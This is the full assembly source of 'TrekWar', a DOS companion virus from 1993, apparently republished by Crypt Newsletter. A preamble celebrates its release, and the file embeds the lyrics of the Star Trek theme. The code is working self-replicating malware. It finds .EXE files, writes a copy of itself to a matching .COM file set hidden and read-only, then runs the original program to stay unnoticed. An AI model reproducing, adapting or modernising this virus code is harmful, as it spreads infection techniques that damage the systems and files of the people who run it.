HPAVC/HPAVC CD-ROM.iso/pc/SOURCE.ZIP/TREKWAR.ASM

Assembly Source File | 1995-11-29 | 5.8 KB | 186 lines

;TREKWAR virus - we were overjoyed at Crypt Newsletter when Goose showed
;us his update of CloneWar, TrekWar.  Alert readers will remember ACME,
;the musical companion based on ZENO, a relative of CloneWar.
;So here it is!
;TrekWar
;┌───────────────────────────────────────────────────────────────────────────┐
;│  Assembly Source Listing for TrekWar Companion Virus                      │
;│  Copyright (c) 1993  T.R.E.K.  All Rights Reserved. :)                    │
;├───────────────────────────────────────────────────────────────────────────┤
;│ The TrekWar is a simple modification of the Clonewar V2 companion virus;  │
;│ for all you trekkers out there... For those of you who, heaven forbid, do │
;│ not know what the words below mean, they are the words to the old series  │
;│ opening music of Star Trek...                                             │
;└───────────────────────────────────────────────────────────────────────────┘

CSEG            SEGMENT
        ASSUME  CS:CSEG,DS:NOTHING

        ORG   100H

START:
        jmp  VIR_BEGIN         ;lets get moving...

        db  "",13,10
        db  "",13,10
        db  "Beyond",13,10                           ;blah blah blah
        db  "The rim of the star-light",13,10
        db  "My love",13,10
        db  "Is wand'ring in star-flight",13,10
        db  "I know",13,10
        db  "He'll find in star-clustered reaches",13,10
        db  "Love",13,10
        db  "Strange love a star woman teaches.",13,10
        db  "I know",13,10
        db  "His journey ends never",13,10
        db  "His star trek",13,10
        db  "Will go on forever.",13,10
        db  "But tell him",13,10
        db  "While he wanders his starry sea",13,10
        db  "Remember, remember me."
        db  "",13,10
        db  "",13,10

        db  "[TrekWar]  "      ;what the heck, its only a few bytes!?
WILDCARD        DB  "*.EXE",0
FILE_EXT        DB  "COM",0
FILE_FOUND      DB  12 DUP(' '), 0
FILE_CREATE     DB  12 DUP(' '), 0
SEARCH_ATTRIB   DW  17H
NUM_INFECT      DW  0


My_Cmd:
CMD_LEN         DB  13
FILE_CLONE      DB  12 DUP (' '), 0

;─────────────────────────────────────────────────────────────────────
; Read all the directory filenames and store as records in buffer.
;─────────────────────────────────────────────────────────────────────

Vir_begin:

           mov    sp,offset STACK_HERE   ;move stack down
           mov    bx,sp
           add    bx,15
           mov    cl,4
           shr    bx,cl
           mov    ah,4ah                 ;deallocate rest of memory
           int    21h

           mov    di,OFFSET FILE_CLONE   ;Point to buffer.
           mov    si,OFFSET FILE_FOUND
           mov    cx,12
           rep    movsb

Read_dir:      mov    dx,OFFSET WILDCARD     ;file mask for directory search
           mov    cx,SEARCH_ATTRIB

           mov    ah,4Eh                 ;find first matching file
           int    21h

           jc     EXIT                   ;If empty directory, exit

;────────────────────────────────────────────────────────────────────────

Store_name:

           mov    di,OFFSET FILE_FOUND   ;Point to buffer.
           mov    si,158                 ;stow the file found in buffer
           mov    cx,12
           rep movsb

           mov    di,OFFSET FILE_CREATE  ;Point to buffer.
           mov    si,158
           mov    cx,12
           rep movsb

           cld
           mov    di,OFFSET FILE_CREATE
           mov    al,'.'
           mov    cx,9
           repne scasb                   ;find the '.'

           mov    si,OFFSET FILE_EXT
           mov    cx,3
           rep movsb                     ;replace the .EXE with .COM
                         ;from buffer

;─────────────────────────────────────────────────────────────────────

Check_file:                                  ;does the file exist?
           mov    dx,OFFSET FILE_CREATE
           xor    cx,cx
           mov    ax,3d00h               ;Open file, read only
           int    21h
           jnc    find_next

;──────────────────────────────────────────────────────────────────────
Infect_file:                                 ;create companion routine

           mov    dx,OFFSET FILE_CREATE  ;contains name of "companion"
           xor    cx,cx
           mov    ah,3ch                 ;construct file
           int    21h
           jc     EXIT

                         ;Write virus to companion file
           xchg   bx,ax
           mov    cx,(OFFSET END_OF_CODE - OFFSET START)  ;virus length
           mov    dx,OFFSET START
           mov    ah,40h                 ;write to file function
           int    21h                    ;do it

                         ;Close file
           mov    ah,3eh                 ;assumes bx still has file handle
           int    21h

                         ;Change attributes
           mov    dx,OFFSET FILE_CREATE  ;of created file to
           mov    cx,3                   ;(1) read only and (2) hidden
           mov    ax,4301h
           int    21h
           jmp    prepare_command

;──────────────────────
;...findnext...
;──────────────────────
find_next:
          mov     ah, 4fh                ;find next...
          int     21h
          jmp     store_name
;──────────────────────────────────────────────────────────────────────
Prepare_command:

           cld
           mov    di,OFFSET FILE_CLONE
           mov    al,0
           mov    cx,12
           repne scasb                   ;find the end of string \0

           mov    al,0Dh                 ;<CR>
           stosb                         ;replace \0 with a <CR>

           mov    ax,12                  ;store length of the command
           sub    ax,cx
           mov    CMD_LEN, al

;──────────────────────────────────────────────────────────────────────

Exit:
                         ;Run the original program
           mov    si, OFFSET MY_CMD
           int    2Eh                    ;Pass command to command
                         ;interpreter for execution
           mov    ax,4C00H               ;Exit to DOS
           int    21h


END_OF_CODE     =       $

STACK_HERE      EQU   END_OF_CODE + 512

CSEG            ENDS
        END      START